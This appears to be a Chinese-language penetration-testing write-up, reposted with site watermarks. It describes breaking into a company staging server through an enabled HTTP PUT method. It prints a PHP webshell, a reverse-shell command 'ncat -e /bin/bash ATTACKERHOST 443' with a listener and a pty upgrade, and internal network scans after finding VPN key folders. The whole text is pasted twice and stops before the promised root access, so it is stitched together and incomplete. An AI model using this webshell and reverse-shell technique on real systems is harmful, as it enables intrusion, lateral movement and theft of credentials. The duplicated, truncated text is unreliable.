我是如何通过命令执行到最终获取内网Root权限的
你的子域名叫什么?
这一切都是从信息侦察开始的查找子域,解析为IP然后查看端口。不过这一次,我发现了一个较为奇怪的主机名,并有一个应用程序正运行在64351端口上。这并不是我们平时常见的web端口,需要我们进行权全端口的扫描才能发现。该域名类似于以下(出于保密原因,其中省略了该公司信息):
fast.force.staging.intcorp.yoda.domain.com
对于这个域名我的脑海中蹦出了以下猜测:
1)这是除admin,vpn,email等以外的唯一一个域
2)故意提到intcorp引起我的兴趣
3)这不是子域的平均长度
4) fast force staging intcorp yoda可能都是随机产生的!
根据我的想法,我解析了该域名并成功获取到了一个IP,但通过浏览器打开发现没有返回任何信息,我决定利用nmap来对它进行端口扫描:
nmap -sTV -p- -Pn --max-retries 3 fast.force.staging.intcorp.yoda.domain.com --version-all -oA UsethePowa
不一会儿扫描结果就出来了如下:
Starting Nmap 7.50 ( https://nmap.org ) at 2017-06-29 22:47 BST
Nmap scan report for fast.force.staging.intcorp.yoda.domain.com (x.x.x.x)
Host is up (0.082s latency).
Not shown: 979 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
25/tcp closed smtp?
80/tcp closed http
81/tcp closed hosts2-ns
90/tcp open http?
64351/tcp open http
2 services unrecognised despite returning data.
最初我在端口为64351的应用程序web根目录中发现了一些奇怪的文件,并且每个文件都包含了不同名称的phpinfo文件。
想要将自定义的文件上传到该目录,通常我们会利用文件上传等功能。但在这里我没有找到任何像远程文件上传的地方,因此我只能老套的针对学校攻击的HTTP方法。
HTTP 动词/方法
无论是HTTP动词/方法,本质上它们都是在向服务器或应用程序发出请求。最常见的两个用于下载和上传数据到应用程序的请求方法是GET和POST。这里我将向端口为64351的服务器发送一个OPTIONS请求,以获取服务器支持的HTTP请求方法。
从响应结果来看该应用程序接受GET,POST,HEAD以及PUT方法。前三个都很普通,但PUT请求相对较少。
PUT
我设法利用PUT方法将文件写入到webroot下名为test的文件夹中,这样我就可以将编写的任意文件上传至服务器根目录下,同时我猜测之前发现的phpinfo文件应该也是利用PUT方法被上传的。我快速浏览了我的webshell再次找到了phpinfo文件:
所以通过PUT方法,我上传了一个简单的PHP webshell,其代码如下:
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "$cmd
";
die;
}
?>
这段代码首先从cmd参数接收输入命令,然后以系统命令执行。PUT请求成功,并且我们也成功获取到了一个shell如下所示:
为了获取到更多的信息,我尝试将webshell转换为netcat的反向shell。很幸运!这个服务器似乎都具备了netcat ncat的访问。
使用以下命令我连接到了服务器侦听端,这里我花了很长时间来确定连接端口,最终确定为443,因为服务器允许访问该端口。
webshell命令:
ncat -e /bin/bash ATTACKERHOST 443
服务器侦听端命令:
ncat -l -v -p 443
接着通过python one-liner我获得了一个交互式的bash shell:
python -c 'import pty; pty.spawn("/bin/bash")'
深入挖掘
既然已经获取到了一个交互式的shell,接下来我决定围绕操作系统进一步的探索。很快,我在/tmp/CorpNet目录下发现了一个引起我注意的文件夹,该文件夹下包含了以下三个其它文件夹:
CorpVPNKeys
CorpZT
CitrixCorp
在这些文件夹中我挖掘到了一些非常有用的文件,其中包括一个包含整个域的内部区域传输的文件。
查找其他主机
通过区域传输文件中的信息,我发现内部主机名与我已经发现的原始主机名类似,如下:
staging.intcorp.jawa.domain.com 10.0.1.1
staging.internal.sith.domain.com 10.0.1.3
internal.vader.domain.com 10.2.1.13
看起来这个网络的系统管理员是一个星球大战的粉丝!有许多其他主机共享了星战命名方案。因为主机可以访问ncat和nmap,因此我决定在这个阶段做一些端口扫描。我尝试对10.0.1.0/24这个网段进行了扫描,以发现其它有趣的主机。
一个快速的nmap -F 10.0.1.0/24扫描,从最终返回的结果我发现了一些非常有趣的端口。其中包括一台应该是windows机器开启的远程桌面连接端口:3389,445,135,137,1433,2433。对于一个内部网络,RDP和SMB的开放并不鲜见。
你的子域名叫什么?
这一切都是从信息侦察开始的查找子域,解析为IP然后查看端口。不过这一次,我发现了一个较为奇怪的主机名,并有一个应用程序正运行在64351端口上。这并不是我们平时常见的web端口,需要我们进行权全端口的扫描才能发现。该域名类似于以下(出于保密原因,其中省略了该公司信息):
fast.force.staging.intcorp.yoda.domain.com
对于这个域名我的脑海中蹦出了以下猜测:
1)这是除admin,vpn,email等以外的唯一一个域
2)故意提到intcorp引起我的兴趣
3)这不是子域的平均长度
4) fast force staging intcorp yoda可能都是随机产生的!
根据我的想法,我解析了该域名并成功获取到了一个IP,但通过浏览器打开发现没有返回任何信息,我决定利用nmap来对它进行端口扫描:
nmap -sTV -p- -Pn --max-retries 3 fast.force.staging.intcorp.yoda.domain.com --version-all -oA UsethePowa
不一会儿扫描结果就出来了如下:
Starting Nmap 7.50 ( https://nmap.org ) at 2017-06-29 22:47 BST
Nmap scan report for fast.force.staging.intcorp.yoda.domain.com (x.x.x.x)
Host is up (0.082s latency).
Not shown: 979 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
25/tcp closed smtp?
80/tcp closed http
81/tcp closed hosts2-ns
90/tcp open http?
64351/tcp open http
2 services unrecognised despite returning data.
最初我在端口为64351的应用程序web根目录中发现了一些奇怪的文件,并且每个文件都包含了不同名称的phpinfo文件。
想要将自定义的文件上传到该目录,通常我们会利用文件上传等功能。但在这里我没有找到任何像远程文件上传的地方,因此我只能老套的针对学校攻击的HTTP方法。
HTTP 动词/方法
无论是HTTP动词/方法,本质上它们都是在向服务器或应用程序发出请求。最常见的两个用于下载和上传数据到应用程序的请求方法是GET和POST。这里我将向端口为64351的服务器发送一个OPTIONS请求,以获取服务器支持的HTTP请求方法。
从响应结果来看该应用程序接受GET,POST,HEAD以及PUT方法。前三个都很普通,但PUT请求相对较少。
www.wnhack.com
PUT
我设法利用PUT方法将文件写入到webroot下名为test的文件夹中,这样我就可以将编写的任意文件上传至服务器根目录下,同时我猜测之前发现的phpinfo文件应该也是利用PUT方法被上传的。我快速浏览了我的webshell再次找到了phpinfo文件:
所以通过PUT方法,我上传了一个简单的PHP webshell,其代码如下:
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "$cmd
";
die;
}
?>
这段代码首先从cmd参数接收输入命令,然后以系统命令执行。PUT请求成功,并且我们也成功获取到了一个shell如下所示:
为了获取到更多的信息,我尝试将webshell转换为netcat的反向shell。很幸运!这个服务器似乎都具备了netcat ncat的访问。
使用以下命令我连接到了服务器侦听端,这里我花了很长时间来确定连接端口,最终确定为443,因为服务器允许访问该端口。
webshell命令:
ncat -e /bin/bash ATTACKERHOST 443
服务器侦听端命令:
ncat -l -v -p 443
接着通过python one-liner我获得了一个交互式的bash shell:
python -c 'import pty; pty.spawn("/bin/bash")'
深入挖掘
既然已经获取到了一个交互式的shell,接下来我决定围绕操作系统进一步的探索。很快,我在/tmp/CorpNet目录下发现了一个引起我注意的文件夹,该文件夹下包含了以下三个其它文件夹:
CorpVPNKeys
CorpZT
copyright 无奈人生
CitrixCorp
在这些文件夹中我挖掘到了一些非常有用的文件,其中包括一个包含整个域的内部区域传输的文件。
查找其他主机
通过区域传输文件中的信息,我发现内部主机名与我已经发现的原始主机名类似,如下:
staging.intcorp.jawa.domain.com 10.0.1.1
staging.internal.sith.domain.com 10.0.1.3
internal.vader.domain.com 10.2.1.13
看起来这个网络的系统管理员是一个星球大战的粉丝!有许多其他主机共享了星战命名方案。因为主机可以访问ncat和nmap,因此我决定在这个阶段做一些端口扫描。我尝试对10.0.1.0/24这个网段进行了扫描,以发现其它有趣的主机。
一个快速的nmap -F 10.0.1.0/24扫描,从最终返回的结果我发现了一些非常有趣的端口。其中包括一台应该是windows机器开启的远程桌面连接端口:3389,445,135,137,1433,2433。对于一个内部网络,RDP和SMB的开放并不鲜见。
copyright 无奈人生
www.wnhack.com